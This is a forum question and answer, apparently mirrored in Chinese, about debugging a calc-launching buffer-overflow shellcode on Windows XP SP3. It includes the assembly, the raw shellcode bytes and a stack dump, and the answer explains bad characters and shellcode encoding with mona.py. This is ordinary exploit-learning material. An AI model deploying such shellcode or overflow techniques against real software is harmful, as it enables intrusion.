shellcode的意外更改

时间:2017-09-04 11:32:50

标签: security buffer-overflow

我正在尝试在xp sp3上执行简单的缓冲区溢出,但我遇到了一个问题。

这是shellcode(calc)的汇编:

xor ecx, ecx

push ecx

push 636c6163

push 1

mov edx, esp

add edx,4

push edx

mov eax,  kernel32.WinExec

call eax

这是shellcode:

\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xad\x23\x86\x7c\xFF\xD0

这就是它在堆栈中的样子:

0012FF58   41414141  AAAA

0012FF5C   41414141  AAAA

0012FF60   41414141  AAAA

0012FF64   77F31D2F  /ów  GDI32.77F31D2F

0012FF68   90909090  

0012FF6C   6851C931  1ÉQh

0012FF70   636C6163  calc

0012FF74   23ADB854  T¸­#

0012FF78   **D03F**7C86  †|?Đ

问题是当shellcode被复制到堆栈上时(或者甚至在复制到堆栈之前进入内存)会发生变化。从FF D0变为3F D0,因此,shellcode不会运行。如果我手动将F3写回FF并继续在Immunity中运行程序,则会打开计算。否则,它失败了。此外,在Immunity之外运行,calc打开,但访问违规也发生在与Immunity相同的地址。

你知道为什么FF的值改为F3吗?

谢谢! 埃里克

1 个答案:

答案 0 :(得分:0)

有些常见的不良字符不能在shellcode中使用,例如:

00 (NULL)
FF (\f)
0D (\r)
0A (\n)

在这种情况下,你可以:
- 编辑包含这些不良字符的指令以更改操作码
- 编码您的shellcode

以免疫力为例,您可以使用mona.py